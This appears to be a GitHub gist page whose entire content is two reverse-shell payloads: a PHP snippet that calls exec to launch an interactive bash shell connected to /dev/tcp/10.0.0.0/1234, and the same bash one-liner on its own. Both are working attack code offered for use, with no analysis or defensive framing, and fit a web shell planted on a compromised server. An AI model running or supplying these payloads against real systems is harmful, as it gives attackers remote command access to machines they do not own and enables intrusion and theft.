Skip to content

Instantly share code, notes, and snippets.

@rudSarkar
Created June 5, 2020 13:36
Show Gist options
  • Save rudSarkar/fc4b5d036b4a9a612c12cd0b0930270e to your computer and use it in GitHub Desktop.
Save rudSarkar/fc4b5d036b4a9a612c12cd0b0930270e to your computer and use it in GitHub Desktop.

PHP Reverse Shell

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.0/1234 0>&1'");

?>

Bash Reverse Shell

/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.0/1234 0>&1'
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment